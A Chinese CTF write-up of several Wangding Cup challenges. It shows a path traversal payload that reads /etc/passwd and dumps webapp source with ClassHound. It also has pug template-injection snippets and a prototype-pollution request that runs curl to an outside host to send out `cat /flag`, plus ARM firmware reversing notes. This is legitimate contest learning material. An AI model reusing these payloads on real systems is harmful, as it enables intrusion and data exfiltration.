周末在SJTU队打了网鼎杯,学到了不少新姿势,记录一下。

filejava

一个apache看到8.0.24版本第一直觉就是CVE-2020-1938,然而8009端口没什么响应……然后有个<!-- flag in /flag -->的提示应该是要getshell啥的,上传页面也没啥好搞的也不解析。
然后在乱试的时候发现在/DownloadServlet这里的filename如果留空会报错,错误信息里有doPost的函数,这就有点意思了,试试POST提交,filename依然留空

1
2
3
4
5
6
7
8
9
java.io.FileNotFoundException: /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/0 (Is a directory)
java.io.FileInputStream.open0(Native Method)
java.io.FileInputStream.open(FileInputStream.java:195)
java.io.FileInputStream.<init>(FileInputStream.java:138)
java.io.FileInputStream.<init>(FileInputStream.java:93)
cn.abc.servlet.DownloadServlet.doPost(DownloadServlet.java:49)
javax.servlet.http.HttpServlet.service(HttpServlet.java:648)
javax.servlet.http.HttpServlet.service(HttpServlet.java:729)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

啧,路径都出来了结合这个报错八成就是LFI,filename改成../../../../../../../../../../etc/passwd果然就能下载到文件了。

这里推荐一个开源工具方便dump整个java目录https://github.com/LandGrey/ClassHound
用工具就是

1
python classhound.py -u "http://x.com:8080/file_in_java/DownloadServlet" --post "filename=../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/#WEB-INF/web.xml#"

拿到源码,审计一下就能发现upload故意做了个手脚,会加载excel-开头的xlsx文件,都这么明显了还给了poi的版本号就是xxe完事了……
参考这里弄一个文件传上去就能打到flag了。

trace

很弱智的东西一扫就deny了只能手动fuzz,还要时不时reset一下……insert用户名盲注,然而information_schema被过滤了,5.5.62版本也没有sys,innodb也没戏,试了几个都不存在然后就开始走歪了……
发现文件读不了,也不能堆叠注入,然后发现file_priv好像是Y,secure_file_priv=/var/lib/mysql-files/,不是NULL?接下来就开始从这个走上各种奇技淫巧的不归路。。

最后刚结束才发现表名就是flag,但是列名不是不过这个不是问题可以绕,然而当初fuzz的时候用的是flag的列名就排除了……草

notes

一看引用了pug就想着能不能SSTI,然后翻了翻代码发现没戏……不过记录一下

1
2
3
const pug=require('pug');
pug.render('#{console.log("1")}');
pug.render('-console.log(2)');

结果是

1
2
3
1
1
2

第二条-后可接任意payload

代码不长能有问题的就只有那个类和status函数了,看了看能控制下标,大概就是原型链污染了,不知道的小伙伴可以看看这篇文章很详细。攻击链就是修改note_list的原型从而污染statuscommands导致RCE。

1
2
3
4
POST /edit_note 
id=__proto__
author=curl x.x.x.x/`cat /flag`
raw=whoami

然后访问/status即可

Teslaaaaa

这题有人先用SavvyCAN提取出了固件,然后就完全懵逼不知道怎么搞这个arm…里面的一个明文flag还是假的,不过一问xdd就被秒了,也瞬间到了#1,xddnb

下面来学习一下arm逆向的姿势:
IDA载入,改成arm架构一路确认即可
1.png
进去后当然他是识别不了代码的,我们需要知道base和入口点,在0x00000000位置按d修改两个值为DCD,Arm M核心启动流程在0x00000000位置是SP,0x00000004是PC,如图
2.png
在这么一个小程序中基本PC减几位就是base了,如果比较大可以参考这里寻找基址,这个程序一般就是0x08000000,在Edit-Segments-Rebase中可以修改基址,接下来要将Arm指令修改为Thumb指令以便于反汇编,方法是在0x08000000(也可在入口点不过要对齐向下取整)按Alt+G,把T值改成1就是Thumb指令了,最后将之前的DCD还原成DCB,按c即可还原出函数和指令啦~
3.png
最后就是秒了
4.png

未完成的书

极其鬼畜,吐槽一下。
wenyan-lang还原之后是个混淆后的js,变量名感觉就是个神棍,极其恶心……
xdd逆出了

1
造化玉碟=2da71604095d8979fa3640811c9128f0ca0bea8c2e93b70a4108ee4fbe606db4216654410302f8099c8cfdf4f994e38216947b966d1ed194ca953af3114e16eb50fe13b240f0123f0ac80a9b90569eda73c54a03a64f6c70c5cb0c950690fb0e434fd2c388efd934a28ea17728af0a73a1787ca78f

实在tql,然而前面还有虚空悟虚空变虚空变里还有虚空转没时间搞了……待有缘人继续。。。
视觉效果参考下面这个主函数
5.png